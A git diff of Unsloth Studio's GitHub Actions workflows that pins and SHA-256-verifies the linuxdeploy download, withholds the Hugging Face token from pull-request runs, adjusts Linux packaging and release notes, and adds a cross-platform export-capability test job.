+          if (linuxInstallLines.some((line) => line.includes(ayatanaPackage))) {
+            throw new Error('Desktop Linux release must not install the Ayatana appindicator dev package');
+          }
+          if (!linuxInstallLines.some((line) => line.includes('libappindicator3-dev'))) {
+            throw new Error('Desktop Linux release must install libappindicator3-dev');
+          }
+          const linuxdeployLines = lines.filter((line) => line.includes('github.com/linuxdeploy/linuxdeploy/releases/download'));
+          if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) {
+            throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2');
+          }
+          // A pinned version/path is reproducibility, not integrity: the asset
+          // can be replaced after upload. Require the immutable SHA-256 digest
+          // to be pinned AND verified before chmod +x. Scope every check to the
+          // real "Pin linuxdeploy for AppImage" step so this guard cannot
+          // satisfy itself; a file-wide scan would match the guard's own code.
+          const expectedLinuxdeployDigest = '4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a';
+          const isComment = (line) => {
+            const trimmed = line.trim();
+            return trimmed.startsWith('#') || trimmed.startsWith('//');
+          };
+          const stepStart = lines.findIndex((line) => /^\s*- name: Pin linuxdeploy for AppImage\s*$/.test(line));
+          if (stepStart === -1) {
+            throw new Error('Desktop Linux release must keep the "Pin linuxdeploy for AppImage" step');
+          }
+          const stepIndent = lines[stepStart].search(/\S/);
+          let stepEnd = lines.length;
+          for (let i = stepStart + 1; i < lines.length; i += 1) {
+            const line = lines[i];
+            if (line.trim() === '') continue;
+            const indent = line.search(/\S/);
+            // The next sibling step ('- ...') at the same indent, or any dedent
+            // below the step, ends this step's block.
+            if (indent < stepIndent || (indent === stepIndent && /^\s*-\s/.test(line))) {
+              stepEnd = i;
+              break;
+            }
+          }
+          const stepLines = lines.slice(stepStart, stepEnd);
+          const digestEnvRe = /^\s*LINUXDEPLOY_SHA256:\s*["']([0-9a-f]{64})["']\s*$/;
+          const digestEnvLine = stepLines.find((line) => digestEnvRe.test(line));
+          if (!digestEnvLine || digestEnvLine.match(digestEnvRe)[1] !== expectedLinuxdeployDigest) {
+            throw new Error('Desktop Linux release must pin the linuxdeploy SHA-256 digest in the LINUXDEPLOY_SHA256 env');
+          }
+          const sha256Idx = stepLines.findIndex((line) => !isComment(line) && line.includes('sha256sum -c'));
+          if (sha256Idx === -1) {
+            throw new Error('Desktop Linux release must verify the linuxdeploy digest with sha256sum -c before use');
+          }
+          const chmodIdx = stepLines.findIndex((line) => !isComment(line) && /chmod\s+\+x/.test(line));
+          if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
+            throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
+          }
           const releaseBodies = [];
           for (let i = 0; i < lines.length; i += 1) {
             const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
@@ -438,6 +494,12 @@ jobs:
             if (/\brpm\b|\.rpm/i.test(body)) {
               throw new Error('Desktop release body must not advertise RPM packages');
             }
+            if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
+              throw new Error('Desktop release body must not advertise AppImage as universal');
+            }
+            if (!/AppImage.*experimental/i.test(body)) {
+              throw new Error('Desktop release body must mark AppImage as experimental');
+            }
           }
           JS
 
@@ -562,6 +624,33 @@ jobs:
           Get-Command trusted-signing-cli -ErrorAction SilentlyContinue || Write-Output "trusted-signing-cli NOT in PATH"
           trusted-signing-cli --version || Write-Output "trusted-signing-cli failed to run"
 
+      # ── Linux: pin AppImage packaging toolchain ──
+      - name: Pin linuxdeploy for AppImage
+        if: matrix.platform == 'ubuntu-22.04'
+        shell: bash
+        env:
+          # Pinning the versioned release path is reproducibility, not
+          # integrity: a GitHub release asset can be replaced (or its delivery
+          # path compromised) after upload. The SHA-256 below is the immutable
+          # digest of this exact asset and is the integrity gate. If linuxdeploy
+          # publishes a new build under this tag, this run fails closed and the
+          # digest must be re-pinned deliberately.
+          LINUXDEPLOY_URL: "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage"
+          LINUXDEPLOY_SHA256: "4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a"
+        run: |
+          set -euo pipefail
+          tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri"
+          mkdir -p "$tools_dir"
+          dest="$tools_dir/linuxdeploy-x86_64.AppImage"
+          curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
+          # Verify the digest BEFORE the binary is ever marked executable. The
+          # next step builds the AppImage with the Tauri signing key and a
+          # contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
+          # that ran here could exfiltrate signing material or tamper with
+          # published release artifacts. Fail closed on any mismatch.
+          echo "${LINUXDEPLOY_SHA256}  ${dest}" | sha256sum -c -
+          chmod +x "$dest"
+
       # ── Linux: build + sign + upload ──
       - name: Build Linux app
         if: matrix.platform == 'ubuntu-22.04'
@@ -570,6 +659,7 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
+          XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
@@ -580,9 +670,10 @@ jobs:
 
             **macOS**: Download the Apple Silicon `.dmg`.
             **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
+            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
 
             > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
             > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
             > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
           releaseDraft: ${{ inputs.draft }}
@@ -611,9 +702,10 @@ jobs:
 
             **macOS**: Download the Apple Silicon `.dmg`.
             **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
+            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
 
             > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
             > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
             > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
           releaseDraft: ${{ inputs.draft }}
@@ -643,9 +735,10 @@ jobs:
 
             **macOS**: Download the Apple Silicon `.dmg`.
             **Windows**: Download the `-setup.exe` installer.
-            **Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
+            **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
 
             > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+            > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
             > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
             > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
           releaseDraft: ${{ inputs.draft }}
diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml
index b196805cf7..15efee382e 100644
--- a/.github/workflows/studio-api-smoke.yml
+++ b/.github/workflows/studio-api-smoke.yml
@@ -83,7 +83,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -100,7 +101,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index 6e53a290cf..3022127a2b 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -68,15 +68,16 @@ jobs:
           pip install -r studio/backend/requirements/studio.txt
           # Extras that studio.txt does not list but the import chain needs
           # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
-          #  for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
+          #  for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
+          #  the orphan-cleanup process scan, etc.):
           pip install \
-            python-multipart aiofiles sqlalchemy cryptography \
+            python-multipart aiofiles sqlalchemy cryptography psutil \
             pyyaml jinja2 mammoth unpdf requests \
             'numpy<3' pytest pytest-asyncio httpx
           # Torch CPU + transformers are required by a chunk of the backend test
           # suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch
           # keeps the install ~250 MB / ~1 min on a clean runner.
-          pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11'
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11'
           pip install 'transformers>=4.51,<5.5'
 
       - name: Backend tests
@@ -133,11 +134,11 @@ jobs:
           python -m pip install --upgrade pip
           pip install -r studio/backend/requirements/studio.txt
           pip install \
-            python-multipart aiofiles sqlalchemy cryptography \
+            python-multipart aiofiles sqlalchemy cryptography psutil \
             pyyaml jinja2 mammoth unpdf requests typer \
             'numpy<3' pytest pytest-asyncio httpx
           # torchvision: unsloth_zoo.vision_utils imports it at module scope.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26'
           pip install 'transformers>=4.51,<5.5'
           # bitsandbytes: hard import in unsloth/models/_utils.py. Recent
@@ -226,9 +227,12 @@ jobs:
               tests/sh/test_studio_home_node_dir.sh \
               tests/sh/test_system_node_readonly.sh \
               tests/sh/test_nvcc_meets_llama_minimum.sh \
+              tests/sh/test_resolve_cuda_archs.sh \
               tests/sh/test_tauri_install_exit_order.sh \
               tests/sh/test_torch_constraint.sh \
-              tests/sh/test_torch_flavor.sh; do
+              tests/sh/test_torch_flavor.sh \
+              tests/sh/test_with_llama_cpp_dir_flag.sh \
+              tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
               echo "::group::$s"
               bash "$s"
               echo "::endgroup::"
diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml
new file mode 100644
index 0000000000..1ee6489209
--- /dev/null
+++ b/.github/workflows/studio-export-capability-ci.yml
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
+#
+# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
+# platform) and the export backend must import without PyTorch, so this confirms the gating and
+# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
+# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
+# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
+
+name: Studio export capability
+
+on:
+  pull_request:
+    paths:
+      - 'studio/backend/utils/hardware/hardware.py'
+      - 'studio/backend/core/export/export.py'
+      - 'studio/backend/routes/export.py'
+      - 'studio/backend/main.py'
+      - 'studio/backend/tests/test_export_capability.py'
+      - '.github/workflows/studio-export-capability-ci.yml'
+  push:
+    branches: [main]
+    paths:
+      - 'studio/backend/utils/hardware/hardware.py'
+      - 'studio/backend/core/export/export.py'
+      - 'studio/backend/routes/export.py'
+      - 'studio/backend/main.py'
+      - 'studio/backend/tests/test_export_capability.py'
+      - '.github/workflows/studio-export-capability-ci.yml'
+  workflow_dispatch:
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
+
+jobs:
+  capability:
+    name: capability (${{ matrix.os }})
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 20
+    env:
+      # No accelerator on hosted runners; keep detection on the CPU path.
+      CUDA_VISIBLE_DEVICES: ""
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+      - name: Upgrade pip
+        run: python -m pip install --upgrade pip
+      - name: Install CPU PyTorch
+        # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
+        # transitive deps still resolve (matching the other workflows in this repo).
+        run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
+      - name: Install backend import deps
+        # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
+        # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
+        run: python -m pip install
+          transformers peft accelerate safetensors huggingface_hub datasets
+          sentencepiece protobuf fastapi starlette structlog psutil
+          python-multipart pydantic httpx "numpy<3" pytest
+      - name: Export capability + import-safety tests
+        working-directory: studio/backend
+        run: python -m pytest tests/test_export_capability.py -q
diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml
index c2c4fa03bf..aebf90380a 100644
--- a/.github/workflows/studio-inference-smoke.yml
+++ b/.github/workflows/studio-inference-smoke.yml
@@ -97,7 +97,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -114,7 +115,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -364,7 +366,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -380,7 +383,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -845,7 +849,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -863,7 +868,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-api-smoke.yml b/.github/workflows/studio-mac-api-smoke.yml
index 412726538c..617ce189dc 100644
--- a/.github/workflows/studio-mac-api-smoke.yml
+++ b/.github/workflows/studio-mac-api-smoke.yml
@@ -68,7 +68,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -85,7 +86,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml
index c794a34acd..d562294d42 100644
--- a/.github/workflows/studio-mac-inference-smoke.yml
+++ b/.github/workflows/studio-mac-inference-smoke.yml
@@ -91,7 +91,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -110,7 +111,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -346,7 +348,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -363,7 +366,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -725,7 +729,8 @@ jobs:
         # Authenticated + parallel: shared macos-14 NAT egress stalls
         # multi-GB anonymous downloads.
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -752,7 +757,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml
index da944d4b5c..362305cdd4 100644
--- a/.github/workflows/studio-mac-install-matrix.yml
+++ b/.github/workflows/studio-mac-install-matrix.yml
@@ -63,7 +63,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml
index 4f9f94b534..20ca247b9f 100644
--- a/.github/workflows/studio-mac-ui-smoke.yml
+++ b/.github/workflows/studio-mac-ui-smoke.yml
@@ -68,7 +68,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -85,7 +86,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -183,13 +185,14 @@ jobs:
         # Retry up to 3 times to absorb known macos-14 free-runner
         # flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected
         # end of JSON input' crash when the Chromium browser process
-        # dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE
-        # when the runner's kernel briefly runs out of socket buffers.
-        # The retry FULLY resets Studio (kill, reset-password, reboot,
-        # wait /api/health, re-export bootstrap pw) before re-running
-        # the script. A real test failure (assertion / timeout) does
-        # NOT match either pattern so it bypasses retry and surfaces
-        # immediately.
+        # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
+        # runner's kernel briefly runs out of socket buffers, and (3) a
+        # goto 'interrupted by another navigation' when the SPA auth
+        # guard redirects mid-navigation. The retry FULLY resets Studio
+        # (kill, reset-password, reboot, wait /api/health, re-export
+        # bootstrap pw) before re-running the script. A real test failure
+        # (assertion / timeout) does NOT match any pattern so it bypasses
+        # retry and surfaces immediately.
         run: |
           mkdir -p logs/playwright
           attempt=1
@@ -202,8 +205,9 @@ jobs:
             if [ "$rc" -eq 0 ]; then
               break
             fi
-            if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
-                 || grep -q "ERR_NO_BUFFER_SPACE"        logs/playwright_attempt_${attempt}.log; } \
+            if { grep -q "Unexpected end of JSON input"       logs/playwright_attempt_${attempt}.log \
+                 || grep -q "ERR_NO_BUFFER_SPACE"             logs/playwright_attempt_${attempt}.log \
+                 || grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
                && [ "$attempt" -lt "$max_attempts" ]; then
               echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
               kill "${STUDIO_PID}" 2>/dev/null || true
@@ -278,8 +282,8 @@ jobs:
           STUDIO_UI_TURN_TIMEOUT_MS: '540000'
           GGUF_REPO: ${{ env.GGUF_REPO }}
           GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
-        # Same flake-retry shape as "Drive the chat UI with Playwright"
-        # -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE.
+        # Same flake-retry shape as "Drive the chat UI with Playwright" -- catches
+        # pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts.
         run: |
           mkdir -p logs/playwright_extra
           attempt=1
@@ -292,8 +296,9 @@ jobs:
             if [ "$rc" -eq 0 ]; then
               break
             fi
-            if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
-                 || grep -q "ERR_NO_BUFFER_SPACE"        logs/playwright_extra_attempt_${attempt}.log; } \
+            if { grep -q "Unexpected end of JSON input"       logs/playwright_extra_attempt_${attempt}.log \
+                 || grep -q "ERR_NO_BUFFER_SPACE"             logs/playwright_extra_attempt_${attempt}.log \
+                 || grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
                && [ "$attempt" -lt "$max_attempts" ]; then
               echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
               kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-mac-update-smoke.yml b/.github/workflows/studio-mac-update-smoke.yml
index f554a16415..d104306c7e 100644
--- a/.github/workflows/studio-mac-update-smoke.yml
+++ b/.github/workflows/studio-mac-update-smoke.yml
@@ -62,7 +62,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -74,7 +75,8 @@ jobs:
       - name: First update should be a no-op (prebuilt already validated)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update.log
@@ -93,7 +95,8 @@ jobs:
       - name: Second update must also be a no-op
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update2.log
diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml
index 1156c264ae..018857de68 100644
--- a/.github/workflows/studio-tauri-smoke.yml
+++ b/.github/workflows/studio-tauri-smoke.yml
@@ -47,7 +47,7 @@ jobs:
         run: |
           sudo apt-get update
           sudo apt-get install -y \
-            libwebkit2gtk-4.1-dev libayatana-appindicator3-dev \
+            libwebkit2gtk-4.1-dev libappindicator3-dev \
             librsvg2-dev libxdo-dev libssl-dev patchelf
 
       - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml
index dcf9fd26af..297a585430 100644
--- a/.github/workflows/studio-ui-smoke.yml
+++ b/.github/workflows/studio-ui-smoke.yml
@@ -82,7 +82,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -99,7 +100,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml
index 307bb51972..08a79afacd 100644
--- a/.github/workflows/studio-update-smoke.yml
+++ b/.github/workflows/studio-update-smoke.yml
@@ -71,7 +71,8 @@ jobs:
         # prebuilt path falls back to source build.
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -86,7 +87,8 @@ jobs:
         # idempotency regressed.
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
